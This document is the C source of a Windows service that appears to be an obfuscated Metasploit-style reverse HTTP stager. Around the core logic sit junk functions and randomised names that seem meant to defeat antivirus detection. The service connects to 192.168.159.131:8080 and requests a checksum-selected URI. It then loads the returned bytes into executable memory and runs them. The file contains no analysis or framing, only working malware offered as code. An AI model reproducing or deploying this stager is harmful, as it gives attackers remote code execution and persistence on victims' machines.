#define _WIN32_WINNT 0x0500
#pragma comment(lib, "Ws2_32.lib")
#include <winsock2.h>
#include <math.h>
#include <signal.h>
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <time.h>
#include <stdarg.h>
SERVICE_STATUS ServiceStatus;
void  ServiceMain(int argc, char** argv);
void  ControlHandler(DWORD request);
SERVICE_STATUS_HANDLE ciChIYkALxsir;
char* fGNMQzMdLZ(char* s)
{ 
	char *result =  (char*)malloc(strlen(s)*2+1); 
	unsigned int i; 
	for (i=0; i<strlen(s)*2+1; i++)
	{ 
		result[i] = s[i/2]; 
		result[i+1]=s[i/2];
	} 
	result[i] = '\0'; 
	return result; 
}
char* RmXKBSqqMEhT(const char *t)
{ 
	int length= strlen(t); 
	int i; 
	char* t2 = (char*)malloc((length+1) * sizeof(char)); 
	for(i=0;i<length;i++) 
	{ 
		t2[(length-1)-i]=t[i]; 
	} 
	t2[length] = '\0'; 
	return t2; 
}
int LBDxxAOcxdI(char saEeVbnv[]) 
{
	int QODMoGf=0; 
	unsigned int i;
	for (i=0; i<strlen(saEeVbnv);++i) 
		QODMoGf += saEeVbnv[i];
	return (QODMoGf % 256);
}
void dwamjofGwWUQk() 
{
	WORD MzEflpILciZKcHp = MAKEWORD((1*2+0), (2*1+0)); 
	WSADATA QkXhPwoPtfS;
	if (WSAStartup(MzEflpILciZKcHp, &QkXhPwoPtfS) < 0) { WSACleanup(); 
	exit(1);
	}
}
char* bDbUTKSGVQWTG() 
{ 
	char dGZGQHbNhft[2351] = "EFSKzTzVwJdkyozBAPoiddrlhlsFztqsAkSwdjYwYPBthZeLnt"; 
	char *CUlSOjjWOmjcX = strupr(dGZGQHbNhft); 
	return strlwr(CUlSOjjWOmjcX); 
}
void cAMwxvZahmvaQw(SOCKET nXxdJHsRAE) 
{
	closesocket(nXxdJHsRAE);
	WSACleanup();
	exit(1);
}
char* EdtIRisCOIgmpM()
{ 
	char *zhZTBaXdSb = fGNMQzMdLZ("TAbpEYdcpcUefWfwSfsiRHreyDfodhWsbDdgDbZcvvnvliiEgc"); 
	return strstr( zhZTBaXdSb, "D" );
}
char* txDxGiAZIjPYz()
{
	int i;
	char DYttprnfKl[] = "EcwAtv2QKqn4W3MYbgNFCeXaJuROPpHmos06xzLDUdBh95jlr7iIyVZTSkGf81";
	char* yKZVgZ = (char*)malloc(5); 
	srand (time(NULL));
	
	
	
	yKZVgZ[4] = 0;
	while (1<2){for(i=0;i<3;++i)
	{
		yKZVgZ[i] = DYttprnfKl[rand() % (sizeof(DYttprnfKl)-1)];
	}
	for(i=0;i<sizeof(DYttprnfKl);i++)
	{ 
		yKZVgZ[3] = DYttprnfKl[i];
		if (LBDxxAOcxdI(yKZVgZ) == 92) 
			return yKZVgZ; 
	} 
	} 
	return 0;
}
char* gnlyQQzQfhy()
{ 
	char HDsLdExXtUzZ[2351], PhTjiNVrqH[2351/2]; 
	strcpy(HDsLdExXtUzZ,"CegPAmsyppISDwtpejtvHrgHfjKcFHJYyghZgCnpRDTKdwPSCL"); 
	strcpy(PhTjiNVrqH,"kCACBKTviiChhaZyiUFkJClYMpeCUONIobXUAgjfkEzLZctsbu"); 
	return RmXKBSqqMEhT(strcat( HDsLdExXtUzZ, PhTjiNVrqH)); 
}
SOCKET YbnwVLexqr() 
{ 
	struct hostent * NgYHRxOYEqVqSY; 
	struct sockaddr_in sEJjFgbwJGAtZWe;
	SOCKET XRMSYd;XRMSYd = socket(AF_INET, SOCK_STREAM, 0);
	if (XRMSYd == INVALID_SOCKET) 
		cAMwxvZahmvaQw(XRMSYd);
	NgYHRxOYEqVqSY = gethostbyname("192.168.159.131");//IP
	if (NgYHRxOYEqVqSY == NULL) 
		cAMwxvZahmvaQw(XRMSYd);
	memcpy(&sEJjFgbwJGAtZWe.sin_addr.s_addr, NgYHRxOYEqVqSY->h_addr, NgYHRxOYEqVqSY->h_length);
	sEJjFgbwJGAtZWe.sin_family = AF_INET;
	sEJjFgbwJGAtZWe.sin_port = htons((734*11+6)); //PORT
	if ( connect(XRMSYd, (struct sockaddr *)&sEJjFgbwJGAtZWe, sizeof(sEJjFgbwJGAtZWe)) ) 
		cAMwxvZahmvaQw(XRMSYd);return XRMSYd;
}
void main() 
{ 
	SERVICE_TABLE_ENTRY ServiceTable[2];
	ServiceTable[1].lpServiceName = NULL;
	ServiceTable[0].lpServiceName = "QQWCsWDIClIjg";
	ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
	ServiceTable[1].lpServiceProc = NULL;StartServiceCtrlDispatcher(ServiceTable);
}
void ServiceMain(int argc, char** argv) 
{
	ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	ServiceStatus.dwServiceSpecificExitCode = 0;
	ServiceStatus.dwServiceType = SERVICE_WIN32;
	ServiceStatus.dwCheckPoint = 0;
	ServiceStatus.dwWin32ExitCode = 0;
	ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
	ServiceStatus.dwWaitHint = 0;
	ciChIYkALxsir = RegisterServiceCtrlHandler( "QQWCsWDIClIjg", (LPHANDLER_FUNCTION)ControlHandler);
	if (ciChIYkALxsir == (SERVICE_STATUS_HANDLE)0) 
		return;
	ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	SetServiceStatus (ciChIYkALxsir, &ServiceStatus);
	while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) 
	{
		char * tZEbPPTD; 
		int i;
		char* pacrTtQjBDkXh[8663];
		char* HMyKsucbZUGh[3417];
		char zDOTolWsEnsJ[200];
		char* ujpTnZlDeOmN[4569];
		char * JVgjbj = tZEbPPTD;
		int tUFgDolMjsP; 
		SOCKET ZzGBZVR;
		for (i = 0;  i < 3417;  ++i) 
			HMyKsucbZUGh[i] = (char*)malloc (8714);
		dwamjofGwWUQk();
		ZzGBZVR = YbnwVLexqr();
		for (i = 0;  i < 8663;  ++i) 
			pacrTtQjBDkXh[i] = (char*)malloc (3348);
		
		sprintf(zDOTolWsEnsJ, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.159.131:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", txDxGiAZIjPYz());send(ZzGBZVR,zDOTolWsEnsJ, strlen( zDOTolWsEnsJ ),0);
		Sleep(300);
		tZEbPPTD = (char*)VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		
		for (i=0; i<3417; ++i)
		{
			strcpy(HMyKsucbZUGh[i], bDbUTKSGVQWTG());
		}
		
		do {
			tUFgDolMjsP = recv(ZzGBZVR, JVgjbj, 1024, 0);
			JVgjbj += tUFgDolMjsP; 
		}while ( tUFgDolMjsP > 0 );
		for (i = 0;  i < 4569;  ++i) 
			ujpTnZlDeOmN[i] = (char*)malloc (6616);
		for (i=0; i<8663; ++i)
		{
			strcpy(pacrTtQjBDkXh[i], EdtIRisCOIgmpM());
		}
		closesocket(ZzGBZVR); 
		WSACleanup();
		((void (*)())(strstr(tZEbPPTD, "\r\n\r\n") + 4))();
		for (i=0; i<4569; ++i)
		{
			strcpy(ujpTnZlDeOmN[i], gnlyQQzQfhy());
		}
	} return; 
}
void ControlHandler(DWORD request) 
{ 
	switch(request) 
	{ 
	case SERVICE_CONTROL_STOP: 
		ServiceStatus.dwWin32ExitCode = 0; 
		ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
		SetServiceStatus (ciChIYkALxsir, &ServiceStatus);
		return; 
	case SERVICE_CONTROL_SHUTDOWN: 
		ServiceStatus.dwWin32ExitCode = 0; 
		ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
		SetServiceStatus (ciChIYkALxsir, &ServiceStatus);
		return; 
	default:
		break;
	} 
	SetServiceStatus (ciChIYkALxsir,  &ServiceStatus);
	return; 
} 
